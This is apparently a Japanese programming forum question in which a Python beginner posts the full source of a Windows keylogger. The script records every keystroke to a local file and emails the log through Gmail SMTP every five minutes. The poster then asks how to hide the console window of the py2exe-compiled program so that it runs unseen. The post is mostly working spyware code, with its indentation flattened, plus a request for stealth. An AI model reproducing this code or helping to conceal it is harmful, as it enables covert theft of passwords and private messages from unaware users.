私はPythonが初めてです。私はキーロガープログラムを書いています。
私はこれを書きました:
#!/usr/bin/python
import pythoncom , pyHook , time, smtplib
LOG = open("C:\LOG.txt", "a")
LOG.write("")
LOG.close()
_time = time.strftime(" %A, %d, %B, %Y, %H : %M ")
_time1 = _time
num_lines =sum(1 for line in open('C:\LOG.txt'))
if num_lines > 45 :
LOG = open("C:\LOG.txt", "w")
LOG.truncate()
LOG.close()
LOG = open("C:\LOG.txt", "a")
LOG.write("\n>>>============================ Start KeyLogger [%s] ============================<<<\n"%(_time))
LOG.close()
timer = time.time()
mtxt = ""
def OnKeyboardEvent(event) :
global _time1
global timer
c = time.strftime(" %A, %d, %B, %Y, %H : %M ")
timer2 = time.time()
if timer2 >= timer+300.0 :
LOG = open("C:\LOG.txt","r")
TXT = LOG.readlines()
i = 0
while i < len(TXT) :
global mtxt
global txt
txt = TXT[i]
i += 1
mtxt += txt
server = smtplib.SMTP("smtp.gmail.com:25")
server.starttls()
server.login("myemail@gmail.com", "password")
server.sendmail("myemail@gmail.com", "myemail@gmail.com", mtxt)
server.quit()
LOG.close()
timer = timer2
if _time1 == c :
LOG = open("C:\LOG.txt", "a")
LOG.write(chr(event.Ascii))
LOG.close()
elif _time1 != c :
LOG = open("C:\LOG.txt", "a")
LOG.write("\n[%s]\n"% (c))
LOG.close()
_time1 = c
hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()
それが非常に厄介なのはわかっています...しかし、私はまだそれに取り組んでおり、他のキーロガーを見ないようにしました...
正常に動作し、5分ごとにキーを含むメールが送信されます...しかし、コンパイルしようとするとpy2exe
、起動するkeylogger.exe
とプロンプトウィンドウが開きます...正常に動作していますが、ウィンドウがあります。そのウィンドウを非表示にするか、プログラムをプロセスに変更したいのですが、方法がわかりません...